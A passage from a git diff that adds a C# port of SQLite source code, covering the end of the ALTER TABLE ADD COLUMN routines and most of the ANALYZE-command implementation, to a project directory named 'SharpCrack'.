( pVal == null ) + { + sqlite3ErrorMsg( pParse, "Cannot add a column with non-constant default" ); + return; + } + sqlite3ValueFree( ref pVal ); + } + + /* Modify the CREATE TABLE statement. */ + zCol = pColDef.z.Substring( 0, pColDef.n ).Replace( ";", " " ).Trim();//sqlite3DbStrNDup(db, (char*)pColDef.z, pColDef.n); + if ( zCol != null ) + { + // char zEnd = zCol[pColDef.n-1]; + int savedDbFlags = db.flags; + // while( zEnd>zCol && (*zEnd==';' || sqlite3Isspace(*zEnd)) ){ + // zEnd-- = '\0'; + // } + db.flags |= SQLITE_PreferBuiltin; + sqlite3NestedParse( pParse, + "UPDATE \"%w\".%s SET " + + "sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) " + + "WHERE type = 'table' AND name = %Q", + zDb, SCHEMA_TABLE( iDb ), pNew.addColOffset, zCol, pNew.addColOffset + 1, + zTab + ); + sqlite3DbFree( db, ref zCol ); + db.flags = savedDbFlags; + } + + /* If the default value of the new column is NULL, then set the file + ** format to 2. If the default value of the new column is not NULL, + ** the file format becomes 3. + */ + sqlite3MinimumFileFormat( pParse, iDb, pDflt != null ? 3 : 2 ); + + /* Reload the schema of the modified table. */ + reloadTableSchema( pParse, pTab, pTab.zName ); +} + +/* +** This function is called by the parser after the table-name in +** an "ALTER TABLE ADD" statement is parsed. Argument +** pSrc is the full-name of the table being altered. +** +** This routine makes a (partial) copy of the Table structure +** for the table being altered and sets Parse.pNewTable to point +** to it. Routines called by the parser as the column definition +** is parsed (i.e. sqlite3AddColumn()) add the new Column data to +** the copy. The copy of the Table structure is deleted by tokenize.c +** after parsing is finished. +** +** Routine sqlite3AlterFinishAddColumn() will be called to complete +** coding the "ALTER TABLE ... ADD" statement. +*/ +static void sqlite3AlterBeginAddColumn( Parse pParse, SrcList pSrc ) +{ + Table pNew; + Table pTab; + Vdbe v; + int iDb; + int i; + int nAlloc; + sqlite3 db = pParse.db; + + /* Look up the table being altered. */ + Debug.Assert( pParse.pNewTable == null ); + Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); + // if ( db.mallocFailed != 0 ) goto exit_begin_add_column; + pTab = sqlite3LocateTable( pParse, 0, pSrc.a[0].zName, pSrc.a[0].zDatabase ); + if ( pTab == null ) + goto exit_begin_add_column; + + if ( IsVirtual( pTab ) ) + { + sqlite3ErrorMsg( pParse, "virtual tables may not be altered" ); + goto exit_begin_add_column; + } + + /* Make sure this is not an attempt to ALTER a view. */ + if ( pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "Cannot add a column to a view" ); + goto exit_begin_add_column; + } + if ( SQLITE_OK != isSystemTable( pParse, pTab.zName ) ) + { + goto exit_begin_add_column; + } + + Debug.Assert( pTab.addColOffset > 0 ); + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + + /* Put a copy of the Table struct in Parse.pNewTable for the + ** sqlite3AddColumn() function and friends to modify. But modify + ** the name by adding an "sqlite_altertab_" prefix. By adding this + ** prefix, we insure that the name will not collide with an existing + ** table because user table are not allowed to have the "sqlite_" + ** prefix on their name. + */ + pNew = new Table();// (Table*)sqlite3DbMallocZero( db, sizeof(Table)) + if ( pNew == null ) + goto exit_begin_add_column; + pParse.pNewTable = pNew; + pNew.nRef = 1; + pNew.nCol = pTab.nCol; + Debug.Assert( pNew.nCol > 0 ); + nAlloc = ( ( ( pNew.nCol - 1 ) / 8 ) * 8 ) + 8; + Debug.Assert( nAlloc >= pNew.nCol && nAlloc % 8 == 0 && nAlloc - pNew.nCol < 8 ); + pNew.aCol = new Column[nAlloc];// (Column*)sqlite3DbMallocZero( db, sizeof(Column) * nAlloc ); + pNew.zName = sqlite3MPrintf( db, "sqlite_altertab_%s", pTab.zName ); + if ( pNew.aCol == null || pNew.zName == null ) + { + // db.mallocFailed = 1; + goto exit_begin_add_column; + } + // memcpy( pNew.aCol, pTab.aCol, sizeof(Column) * pNew.nCol ); + for ( i = 0; i < pNew.nCol; i++ ) + { + Column pCol = pTab.aCol[i].Copy(); + // sqlite3DbStrDup( db, pCol.zName ); + pCol.zColl = null; + pCol.zType = null; + pCol.pDflt = null; + pCol.zDflt = null; + pNew.aCol[i] = pCol; + } + pNew.pSchema = db.aDb[iDb].pSchema; + pNew.addColOffset = pTab.addColOffset; + pNew.nRef = 1; + + /* Begin a transaction and increment the schema cookie. */ + sqlite3BeginWriteOperation( pParse, 0, iDb ); + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + goto exit_begin_add_column; + sqlite3ChangeCookie( pParse, iDb ); + +exit_begin_add_column: + sqlite3SrcListDelete( db, ref pSrc ); + return; +} +#endif // * SQLITE_ALTER_TABLE */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/analyze_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/analyze_c.cs new file mode 100644 index 0000000..f556d0a --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/analyze_c.cs @@ -0,0 +1,866 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; + +namespace Community.CsharpSqlite +{ + using sqlite3_int64 = System.Int64; + using sqlite3_stmt = Sqlite3.Vdbe; + + public partial class Sqlite3 + { +/* +** 2005 July 8 +** +** The author disclaims copyright to this source code. In place of +** a legal notice, here is a blessing: +** +** May you do good and not evil. +** May you find forgiveness for yourself and forgive others. +** May you share freely, never taking more than you give. +** +************************************************************************* +** This file contains code associated with the ANALYZE command. +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2011-05-19 13:26:54 ed1da510a239ea767a01dc332b667119fa3c908e +** +************************************************************************* +*/ +#if !SQLITE_OMIT_ANALYZE +//#include "sqliteInt.h" + +/* +** This routine generates code that opens the sqlite_stat1 table for +** writing with cursor iStatCur. If the library was built with the +** SQLITE_ENABLE_STAT2 macro defined, then the sqlite_stat2 table is +** opened for writing using cursor (iStatCur+1) +** +** If the sqlite_stat1 tables does not previously exist, it is created. +** Similarly, if the sqlite_stat2 table does not exist and the library +** is compiled with SQLITE_ENABLE_STAT2 defined, it is created. +** +** Argument zWhere may be a pointer to a buffer containing a table name, +** or it may be a NULL pointer. If it is not NULL, then all entries in +** the sqlite_stat1 and (if applicable) sqlite_stat2 tables associated +** with the named table are deleted. If zWhere==0, then code is generated +** to delete all stat table entries. +*/ +public struct _aTable +{ + public string zName; + public string zCols; + public _aTable( string zName, string zCols ) + { + this.zName = zName; + this.zCols = zCols; + } +}; +static _aTable[] aTable = new _aTable[]{ +new _aTable( "sqlite_stat1", "tbl,idx,stat" ), +#if SQLITE_ENABLE_STAT2 +new _aTable( "sqlite_stat2", "tbl,idx,sampleno,sample" ), +#endif +}; + +static void openStatTable( +Parse pParse, /* Parsing context */ +int iDb, /* The database we are looking in */ +int iStatCur, /* Open the sqlite_stat1 table on this cursor */ +string zWhere, /* Delete entries for this table or index */ +string zWhereType /* Either "tbl" or "idx" */ +) +{ + int[] aRoot = new int[] { 0, 0 }; + u8[] aCreateTbl = new u8[] { 0, 0 }; + + int i; + sqlite3 db = pParse.db; + Db pDb; + Vdbe v = sqlite3GetVdbe( pParse ); + + if ( v == null ) + return; + Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); + Debug.Assert( sqlite3VdbeDb( v ) == db ); + pDb = db.aDb[iDb]; + + for ( i = 0; i < ArraySize( aTable ); i++ ) + { + string zTab = aTable[i].zName; + Table pStat; + if ( ( pStat = sqlite3FindTable( db, zTab, pDb.zName ) ) == null ) + { + /* The sqlite_stat[12] table does not exist. Create it. Note that a + ** side-effect of the CREATE TABLE statement is to leave the rootpage + ** of the new table in register pParse.regRoot. This is important + ** because the OpenWrite opcode below will be needing it. */ + sqlite3NestedParse( pParse, + "CREATE TABLE %Q.%s(%s)", pDb.zName, zTab, aTable[i].zCols + ); + aRoot[i] = pParse.regRoot; + aCreateTbl[i] = 1; + } + else + { + /* The table already exists. If zWhere is not NULL, delete all entries + ** associated with the table zWhere. If zWhere is NULL, delete the + ** entire contents of the table. */ + aRoot[i] = pStat.tnum; + sqlite3TableLock( pParse, iDb, aRoot[i], 1, zTab ); + if ( !String.IsNullOrEmpty( zWhere ) ) + { + sqlite3NestedParse( pParse, + "DELETE FROM %Q.%s WHERE %s=%Q", pDb.zName, zTab, zWhereType, zWhere + ); + } + else + { + /* The sqlite_stat[12] table already exists. Delete all rows. */ + sqlite3VdbeAddOp2( v, OP_Clear, aRoot[i], iDb ); + } + } + } + + /* Open the sqlite_stat[12] tables for writing. */ + for ( i = 0; i < ArraySize( aTable ); i++ ) + { + sqlite3VdbeAddOp3( v, OP_OpenWrite, iStatCur + i, aRoot[i], iDb ); + sqlite3VdbeChangeP4( v, -1, 3, P4_INT32 ); + sqlite3VdbeChangeP5( v, aCreateTbl[i] ); + } +} + +/* +** Generate code to do an analysis of all indices associated with +** a single table. +*/ +static void analyzeOneTable( +Parse pParse, /* Parser context */ +Table pTab, /* Table whose indices are to be analyzed */ +Index pOnlyIdx, /* If not NULL, only analyze this one index */ +int iStatCur, /* Index of VdbeCursor that writes the sqlite_stat1 table */ +int iMem /* Available memory locations begin here */ +) +{ + sqlite3 db = pParse.db; /* Database handle */ + Index pIdx; /* An index to being analyzed */ + int iIdxCur; /* Cursor open on index being analyzed */ + Vdbe v; /* The virtual machine being built up */ + int i; /* Loop counter */ + int topOfLoop; /* The top of the loop */ + int endOfLoop; /* The end of the loop */ + int jZeroRows = -1; /* Jump from here if number of rows is zero */ + int iDb; /* Index of database containing pTab */ + int regTabname = iMem++; /* Register containing table name */ + int regIdxname = iMem++; /* Register containing index name */ + int regSampleno = iMem++; /* Register containing next sample number */ + int regCol = iMem++; /* Content of a column analyzed table */ + int regRec = iMem++; /* Register holding completed record */ + int regTemp = iMem++; /* Temporary use register */ + int regRowid = iMem++; /* Rowid for the inserted record */ + +#if SQLITE_ENABLE_STAT2 + int addr = 0; /* Instruction address */ + int regTemp2 = iMem++; /* Temporary use register */ + int regSamplerecno = iMem++; /* Index of next sample to record */ + int regRecno = iMem++; /* Current sample index */ + int regLast = iMem++; /* Index of last sample to record */ + int regFirst = iMem++; /* Index of first sample to record */ +#endif + + v = sqlite3GetVdbe( pParse ); + if ( v == null || NEVER( pTab == null ) ) + { + return; + } + if ( pTab.tnum == 0 ) + { + /* Do not gather statistics on views or virtual tables */ + return; + } + if ( pTab.zName.StartsWith( "sqlite_", StringComparison.InvariantCultureIgnoreCase ) ) + { + /* Do not gather statistics on system tables */ + return; + } + Debug.Assert( sqlite3BtreeHoldsAllMutexes( db ) ); + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + Debug.Assert( iDb >= 0 ); + Debug.Assert( sqlite3SchemaMutexHeld(db, iDb, null) ); +#if NO_SQLITE_OMIT_AUTHORIZATION +if( sqlite3AuthCheck(pParse, SQLITE_ANALYZE, pTab.zName, 0, +db.aDb[iDb].zName ) ){ +return; +} +#endif + + /* Establish a read-lock on the table at the shared-cache level. */ + sqlite3TableLock( pParse, iDb, pTab.tnum, 0, pTab.zName ); + + iIdxCur = pParse.nTab++; + sqlite3VdbeAddOp4( v, OP_String8, 0, regTabname, 0, pTab.zName, 0 ); + for ( pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext ) + { + int nCol; + KeyInfo pKey; + if ( pOnlyIdx != null && pOnlyIdx != pIdx ) + continue; + nCol = pIdx.nColumn; + pKey = sqlite3IndexKeyinfo( pParse, pIdx ); + + if ( iMem + 1 + ( nCol * 2 ) > pParse.nMem ) + { + pParse.nMem = iMem + 1 + ( nCol * 2 ); + } + + /* Open a cursor to the index to be analyzed. */ + Debug.Assert( iDb == sqlite3SchemaToIndex( db, pIdx.pSchema ) ); + sqlite3VdbeAddOp4( v, OP_OpenRead, iIdxCur, pIdx.tnum, iDb, + pKey, P4_KEYINFO_HANDOFF ); + VdbeComment( v, "%s", pIdx.zName ); + + /* Populate the registers containing the index names. */ + sqlite3VdbeAddOp4( v, OP_String8, 0, regIdxname, 0, pIdx.zName, 0 ); + +#if SQLITE_ENABLE_STAT2 + + /* If this iteration of the loop is generating code to analyze the +** first index in the pTab.pIndex list, then register regLast has +** not been populated. In this case populate it now. */ + if ( pTab.pIndex == pIdx ) + { + sqlite3VdbeAddOp2( v, OP_Integer, SQLITE_INDEX_SAMPLES, regSamplerecno ); + sqlite3VdbeAddOp2( v, OP_Integer, SQLITE_INDEX_SAMPLES * 2 - 1, regTemp ); + sqlite3VdbeAddOp2( v, OP_Integer, SQLITE_INDEX_SAMPLES * 2, regTemp2 ); + + sqlite3VdbeAddOp2( v, OP_Count, iIdxCur, regLast ); + sqlite3VdbeAddOp2( v, OP_Null, 0, regFirst ); + addr = sqlite3VdbeAddOp3( v, OP_Lt, regSamplerecno, 0, regLast ); + sqlite3VdbeAddOp3( v, OP_Divide, regTemp2, regLast, regFirst ); + sqlite3VdbeAddOp3( v, OP_Multiply, regLast, regTemp, regLast ); + sqlite3VdbeAddOp2( v, OP_AddImm, regLast, SQLITE_INDEX_SAMPLES * 2 - 2 ); + sqlite3VdbeAddOp3( v, OP_Divide, regTemp2, regLast, regLast ); + sqlite3VdbeJumpHere( v, addr ); + } + + /* Zero the regSampleno and regRecno registers. */ + sqlite3VdbeAddOp2( v, OP_Integer, 0, regSampleno ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, regRecno ); + sqlite3VdbeAddOp2( v, OP_Copy, regFirst, regSamplerecno ); +#endif + + /* The block of memory cells initialized here is used as follows. +** +** iMem: +** The total number of rows in the table. +** +** iMem+1 .. iMem+nCol: +** Number of distinct entries in index considering the +** left-most N columns only, where N is between 1 and nCol, +** inclusive. +** +** iMem+nCol+1 .. Mem+2*nCol: +** Previous value of indexed columns, from left to right. +** +** Cells iMem through iMem+nCol are initialized to 0. The others are +** initialized to contain an SQL NULL. +*/ + for ( i = 0; i <= nCol; i++ ) + { + sqlite3VdbeAddOp2( v, OP_Integer, 0, iMem + i ); + } + for ( i = 0; i < nCol; i++ ) + { + sqlite3VdbeAddOp2( v, OP_Null, 0, iMem + nCol + i + 1 ); + } + + /* Start the analysis loop. This loop runs through all the entries in + ** the index b-tree. */ + endOfLoop = sqlite3VdbeMakeLabel( v ); + sqlite3VdbeAddOp2( v, OP_Rewind, iIdxCur, endOfLoop ); + topOfLoop = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp2( v, OP_AddImm, iMem, 1 ); + + for ( i = 0; i < nCol; i++ ) + { + sqlite3VdbeAddOp3( v, OP_Column, iIdxCur, i, regCol ); + CollSeq pColl; + if ( i == 0 ) + { +#if SQLITE_ENABLE_STAT2 + /* Check if the record that cursor iIdxCur points to contains a +** value that should be stored in the sqlite_stat2 table. If so, +** store it. */ + int ne = sqlite3VdbeAddOp3( v, OP_Ne, regRecno, 0, regSamplerecno ); + Debug.Assert( regTabname + 1 == regIdxname + && regTabname + 2 == regSampleno + && regTabname + 3 == regCol + ); + sqlite3VdbeChangeP5( v, SQLITE_JUMPIFNULL ); + sqlite3VdbeAddOp4( v, OP_MakeRecord, regTabname, 4, regRec, "aaab", 0 ); + sqlite3VdbeAddOp2( v, OP_NewRowid, iStatCur + 1, regRowid ); + sqlite3VdbeAddOp3( v, OP_Insert, iStatCur + 1, regRec, regRowid ); + + /* Calculate new values for regSamplerecno and regSampleno. + ** + ** sampleno = sampleno + 1 + ** samplerecno = samplerecno+(remaining records)/(remaining samples) + */ + sqlite3VdbeAddOp2( v, OP_AddImm, regSampleno, 1 ); + sqlite3VdbeAddOp3( v, OP_Subtract, regRecno, regLast, regTemp ); + sqlite3VdbeAddOp2( v, OP_AddImm, regTemp, -1 ); + sqlite3VdbeAddOp2( v, OP_Integer, SQLITE_INDEX_SAMPLES, regTemp2 ); + sqlite3VdbeAddOp3( v, OP_Subtract, regSampleno, regTemp2, regTemp2 ); + sqlite3VdbeAddOp3( v, OP_Divide, regTemp2, regTemp, regTemp ); + sqlite3VdbeAddOp3( v, OP_Add, regSamplerecno, regTemp, regSamplerecno ); + + sqlite3VdbeJumpHere( v, ne ); + sqlite3VdbeAddOp2( v, OP_AddImm, regRecno, 1 ); +#endif + + /* Always record the very first row */ + sqlite3VdbeAddOp1( v, OP_IfNot, iMem + 1 ); + } + Debug.Assert( pIdx.azColl != null ); + Debug.Assert( pIdx.azColl[i] != null ); + pColl = sqlite3LocateCollSeq( pParse, pIdx.azColl[i] ); + sqlite3VdbeAddOp4( v, OP_Ne, regCol, 0, iMem + nCol + i + 1, + pColl, P4_COLLSEQ ); + sqlite3VdbeChangeP5( v, SQLITE_NULLEQ ); + } + //if( db.mallocFailed ){ + // /* If a malloc failure has occurred, then the result of the expression + // ** passed as the second argument to the call to sqlite3VdbeJumpHere() + // ** below may be negative. Which causes an Debug.Assert() to fail (or an + // ** out-of-bounds write if SQLITE_DEBUG is not defined). */ + // return; + //} + sqlite3VdbeAddOp2( v, OP_Goto, 0, endOfLoop ); + for ( i = 0; i < nCol; i++ ) + { + int addr2 = sqlite3VdbeCurrentAddr( v ) - ( nCol * 2 ); + if ( i == 0 ) + { + sqlite3VdbeJumpHere( v, addr2 - 1 ); /* Set jump dest for the OP_IfNot */ + } + sqlite3VdbeJumpHere( v, addr2 ); /* Set jump dest for the OP_Ne */ + sqlite3VdbeAddOp2( v, OP_AddImm, iMem + i + 1, 1 ); + sqlite3VdbeAddOp3( v, OP_Column, iIdxCur, i, iMem + nCol + i + 1 ); + } + + /* End of the analysis loop. */ + sqlite3VdbeResolveLabel( v, endOfLoop ); + sqlite3VdbeAddOp2( v, OP_Next, iIdxCur, topOfLoop ); + sqlite3VdbeAddOp1( v, OP_Close, iIdxCur ); + + /* Store the results in sqlite_stat1. + ** + ** The result is a single row of the sqlite_stat1 table. The first + ** two columns are the names of the table and index. The third column + ** is a string composed of a list of integer statistics about the + ** index. The first integer in the list is the total number of entries + ** in the index. There is one additional integer in the list for each + ** column of the table. This additional integer is a guess of how many + ** rows of the table the index will select. If D is the count of distinct + ** values and K is the total number of rows, then the integer is computed + ** as: + ** + ** I = (K+D-1)/D + ** + ** If K==0 then no entry is made into the sqlite_stat1 table. + ** If K>0 then it is always the case the D>0 so division by zero + ** is never possible. + */ + sqlite3VdbeAddOp2( v, OP_SCopy, iMem, regSampleno ); + if ( jZeroRows < 0 ) + { + jZeroRows = sqlite3VdbeAddOp1( v, OP_IfNot, iMem ); + } + for ( i = 0; i < nCol; i++ ) + { + sqlite3VdbeAddOp4( v, OP_String8, 0, regTemp, 0, " ", 0 ); + sqlite3VdbeAddOp3( v, OP_Concat, regTemp, regSampleno, regSampleno ); + sqlite3VdbeAddOp3( v, OP_Add, iMem, iMem + i + 1, regTemp ); + sqlite3VdbeAddOp2( v, OP_AddImm, regTemp, -1 ); + sqlite3VdbeAddOp3( v, OP_Divide, iMem + i + 1, regTemp, regTemp ); + sqlite3VdbeAddOp1( v, OP_ToInt, regTemp ); + sqlite3VdbeAddOp3( v, OP_Concat, regTemp, regSampleno, regSampleno ); + } + sqlite3VdbeAddOp4( v, OP_MakeRecord, regTabname, 3, regRec, "aaa", 0 ); + sqlite3VdbeAddOp2( v, OP_NewRowid, iStatCur, regRowid ); + sqlite3VdbeAddOp3( v, OP_Insert, iStatCur, regRec, regRowid ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + } + + /* If the table has no indices, create a single sqlite_stat1 entry + ** containing NULL as the index name and the row count as the content. + */ + if ( pTab.pIndex == null ) + { + sqlite3VdbeAddOp3( v, OP_OpenRead, iIdxCur, pTab.tnum, iDb ); + VdbeComment( v, "%s", pTab.zName ); + sqlite3VdbeAddOp2( v, OP_Count, iIdxCur, regSampleno ); + sqlite3VdbeAddOp1( v, OP_Close, iIdxCur ); + jZeroRows = sqlite3VdbeAddOp1( v, OP_IfNot, regSampleno ); + } + else + { + sqlite3VdbeJumpHere( v, jZeroRows ); + jZeroRows = sqlite3VdbeAddOp0( v, OP_Goto ); + } + sqlite3VdbeAddOp2( v, OP_Null, 0, regIdxname ); + sqlite3VdbeAddOp4( v, OP_MakeRecord, regTabname, 3, regRec, "aaa", 0 ); + sqlite3VdbeAddOp2( v, OP_NewRowid, iStatCur, regRowid ); + sqlite3VdbeAddOp3( v, OP_Insert, iStatCur, regRec, regRowid ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + if ( pParse.nMem < regRec ) + pParse.nMem = regRec; + sqlite3VdbeJumpHere( v, jZeroRows ); +} + +/* +** Generate code that will cause the most recent index analysis to +** be loaded into internal hash tables where is can be used. +*/ +static void loadAnalysis( Parse pParse, int iDb ) +{ + Vdbe v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + sqlite3VdbeAddOp1( v, OP_LoadAnalysis, iDb ); + } +} + +/* +** Generate code that will do an analysis of an entire database +*/ +static void analyzeDatabase( Parse pParse, int iDb ) +{ + sqlite3 db = pParse.db; + Schema pSchema = db.aDb[iDb].pSchema; /* Schema of database iDb */ + HashElem k; + int iStatCur; + int iMem; + + sqlite3BeginWriteOperation( pParse, 0, iDb ); + iStatCur = pParse.nTab; + pParse.nTab += 2; + openStatTable( pParse, iDb, iStatCur, null, null ); + iMem = pParse.nMem + 1; + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + //for(k=sqliteHashFirst(pSchema.tblHash); k; k=sqliteHashNext(k)){ + for ( k = pSchema.tblHash.first; k != null; k = k.next ) + { + Table pTab = (Table)k.data;// sqliteHashData( k ); + analyzeOneTable( pParse, pTab, null, iStatCur, iMem ); + } + loadAnalysis( pParse, iDb ); +} + +/* +** Generate code that will do an analysis of a single table in +** a database. If pOnlyIdx is not NULL then it is a single index +** in pTab that should be analyzed. +*/ +static void analyzeTable( Parse pParse, Table pTab, Index pOnlyIdx) +{ + int iDb; + int iStatCur; + + Debug.Assert( pTab != null ); + Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); + iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + sqlite3BeginWriteOperation( pParse, 0, iDb ); + iStatCur = pParse.nTab; + pParse.nTab += 2; + if ( pOnlyIdx != null ) + { + openStatTable( pParse, iDb, iStatCur, pOnlyIdx.zName, "idx" ); + } + else + { + openStatTable( pParse, iDb, iStatCur, pTab.zName, "tbl" ); + } + analyzeOneTable( pParse, pTab, pOnlyIdx, iStatCur, pParse.nMem + 1 ); + loadAnalysis( pParse, iDb ); +} + +/* +** Generate code for the ANALYZE command. The parser calls this routine +** when it recognizes an ANALYZE command. +** +** ANALYZE -- 1 +** ANALYZE -- 2 +** ANALYZE ?.? -- 3 +** +** Form 1 causes all indices in all attached databases to be analyzed. +** Form 2 analyzes all indices the single database named. +** Form 3 analyzes all indices associated with the named table. +*/ +// OVERLOADS, so I don't need to rewrite parse.c +static void sqlite3Analyze( Parse pParse, int null_2, int null_3 ) +{ + sqlite3Analyze( pParse, null, null ); +} +static void sqlite3Analyze( Parse pParse, Token pName1, Token pName2 ) +{ + sqlite3 db = pParse.db; + int iDb; + int i; + string z, zDb; + Table pTab; + Index pIdx; + Token pTableName = null; + + /* Read the database schema. If an error occurs, leave an error message + ** and code in pParse and return NULL. */ + Debug.Assert( sqlite3BtreeHoldsAllMutexes( pParse.db ) ); + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + return; + } + + Debug.Assert( pName2 != null || pName1 == null ); + if ( pName1 == null ) + { + /* Form 1: Analyze everything */ + for ( i = 0; i < db.nDb; i++ ) + { + if ( i == 1 ) + continue; /* Do not analyze the TEMP database */ + analyzeDatabase( pParse, i ); + } + } + else if ( pName2.n == 0 ) + { + /* Form 2: Analyze the database or table named */ + iDb = sqlite3FindDb( db, pName1 ); + if ( iDb >= 0 ) + { + analyzeDatabase( pParse, iDb ); + } + else + { + z = sqlite3NameFromToken( db, pName1 ); + if ( z != null ) + { + if ( ( pIdx = sqlite3FindIndex( db, z, null ) ) != null ) + { + analyzeTable( pParse, pIdx.pTable, pIdx ); + } + else if ( ( pTab = sqlite3LocateTable( pParse, 0, z, null ) ) != null ) + { + analyzeTable( pParse, pTab, null ); + } + z = null;//sqlite3DbFree( db, z ); + } + } + } + else + { + /* Form 3: Analyze the fully qualified table name */ + iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pTableName ); + if ( iDb >= 0 ) + { + zDb = db.aDb[iDb].zName; + z = sqlite3NameFromToken( db, pTableName ); + if ( z != null ) + { + if ( ( pIdx = sqlite3FindIndex( db, z, zDb ) ) != null ) + { + analyzeTable( pParse, pIdx.pTable, pIdx ); + } + else if ( ( pTab = sqlite3LocateTable( pParse, 0, z, zDb ) ) != null ) + { + analyzeTable( pParse, pTab, null ); + } + z = null; //sqlite3DbFree( db, z ); + } + } + } +} + +/* +** Used to pass information from the analyzer reader through to the +** callback routine. +*/ +//typedef struct analysisInfo analysisInfo; +public struct analysisInfo +{ + public sqlite3 db; + public string zDatabase; +}; + +/* +** This callback is invoked once for each index when reading the +** sqlite_stat1 table. +** +** argv[0] = name of the table +** argv[1] = name of the index (might be NULL) +** argv[2] = results of analysis - on integer for each column +** +** Entries for which argv[1]==NULL simply record the number of rows in +** the table. +*/ +static int analysisLoader( object pData, sqlite3_int64 argc, object Oargv, object NotUsed ) +{ + string[] argv = (string[])Oargv; + analysisInfo pInfo = (analysisInfo)pData; + Index pIndex; + Table pTable; + int i, c, n; + int v; + string z; + + Debug.Assert( argc == 3 ); + UNUSED_PARAMETER2( NotUsed, argc ); + if ( argv == null || argv[0] == null || argv[2] == null ) + { + return 0; + } + pTable = sqlite3FindTable( pInfo.db, argv[0], pInfo.zDatabase ); + if ( pTable == null ) + { + return 0; + } + if ( !String.IsNullOrEmpty( argv[1] ) ) + { + pIndex = sqlite3FindIndex( pInfo.db, argv[1], pInfo.zDatabase ); + } + else + { + pIndex = null; + } + + n = pIndex != null ? pIndex.nColumn : 0; + z = argv[2]; + int zIndex = 0; + for ( i = 0; z != null && i <= n; i++ ) + { + v = 0; + while ( zIndex < z.Length && ( c = z[zIndex] ) >= '0' && c <= '9' ) + { + v = v * 10 + c - '0'; + zIndex++; + } + if ( i == 0 ) + pTable.nRowEst = (uint)v; + if ( pIndex == null ) + break; + pIndex.aiRowEst[i] = v; + if ( zIndex < z.Length && z[zIndex] == ' ' ) + zIndex++; + if ( z.Substring(zIndex).CompareTo("unordered")==0)//memcmp( z, "unordered", 10 ) == 0 ) + { + pIndex.bUnordered = 1; + break; + } + } + return 0; +} + +/* +** If the Index.aSample variable is not NULL, delete the aSample[] array +** and its contents. +*/ +static void sqlite3DeleteIndexSamples( sqlite3 db, Index pIdx ) +{ +#if SQLITE_ENABLE_STAT2 + if ( pIdx.aSample != null ) + { + int j; + for ( j = 0; j < SQLITE_INDEX_SAMPLES; j++ ) + { + IndexSample p = pIdx.aSample[j]; + if ( p.eType == SQLITE_TEXT || p.eType == SQLITE_BLOB ) + { + p.u.z = null;//sqlite3DbFree(db, p.u.z); + p.u.zBLOB = null; + } + } + sqlite3DbFree( db, ref pIdx.aSample ); + } +#else +UNUSED_PARAMETER(db); +UNUSED_PARAMETER( pIdx ); +#endif +} + +/* +** Load the content of the sqlite_stat1 and sqlite_stat2 tables. The +** contents of sqlite_stat1 are used to populate the Index.aiRowEst[] +** arrays. The contents of sqlite_stat2 are used to populate the +** Index.aSample[] arrays. +** +** If the sqlite_stat1 table is not present in the database, SQLITE_ERROR +** is returned. In this case, even if SQLITE_ENABLE_STAT2 was defined +** during compilation and the sqlite_stat2 table is present, no data is +** read from it. +** +** If SQLITE_ENABLE_STAT2 was defined during compilation and the +** sqlite_stat2 table is not present in the database, SQLITE_ERROR is +** returned. However, in this case, data is read from the sqlite_stat1 +** table (if it is present) before returning. +** +** If an OOM error occurs, this function always sets db.mallocFailed. +** This means if the caller does not care about other errors, the return +** code may be ignored. +*/ +static int sqlite3AnalysisLoad( sqlite3 db, int iDb ) +{ + analysisInfo sInfo; + HashElem i; + string zSql; + int rc; + + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + Debug.Assert( db.aDb[iDb].pBt != null ); + /* Clear any prior statistics */ + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + //for(i=sqliteHashFirst(&db.aDb[iDb].pSchema.idxHash);i;i=sqliteHashNext(i)){ + for ( i = db.aDb[iDb].pSchema.idxHash.first; i != null; i = i.next ) + { + Index pIdx = (Index)i.data;// sqliteHashData( i ); + sqlite3DefaultRowEst( pIdx ); + sqlite3DeleteIndexSamples( db, pIdx ); + pIdx.aSample = null; + } + + /* Check to make sure the sqlite_stat1 table exists */ + sInfo.db = db; + sInfo.zDatabase = db.aDb[iDb].zName; + if ( sqlite3FindTable( db, "sqlite_stat1", sInfo.zDatabase ) == null ) + { + return SQLITE_ERROR; + } + + + /* Load new statistics out of the sqlite_stat1 table */ + zSql = sqlite3MPrintf( db, + "SELECT tbl, idx, stat FROM %Q.sqlite_stat1", sInfo.zDatabase ); + //if ( zSql == null ) + //{ + // rc = SQLITE_NOMEM; + //} + //else + { + rc = sqlite3_exec( db, zSql, (dxCallback)analysisLoader, sInfo, 0 ); + sqlite3DbFree( db, ref zSql ); + } + + + /* Load the statistics from the sqlite_stat2 table. */ +#if SQLITE_ENABLE_STAT2 + if ( rc == SQLITE_OK && null == sqlite3FindTable( db, "sqlite_stat2", sInfo.zDatabase ) ) + { + rc = SQLITE_ERROR; + } + if ( rc == SQLITE_OK ) + { + sqlite3_stmt pStmt = null; + + zSql = sqlite3MPrintf( db, + "SELECT idx,sampleno,sample FROM %Q.sqlite_stat2", sInfo.zDatabase ); + //if( null==zSql ){ + //rc = SQLITE_NOMEM; + //}else{ + 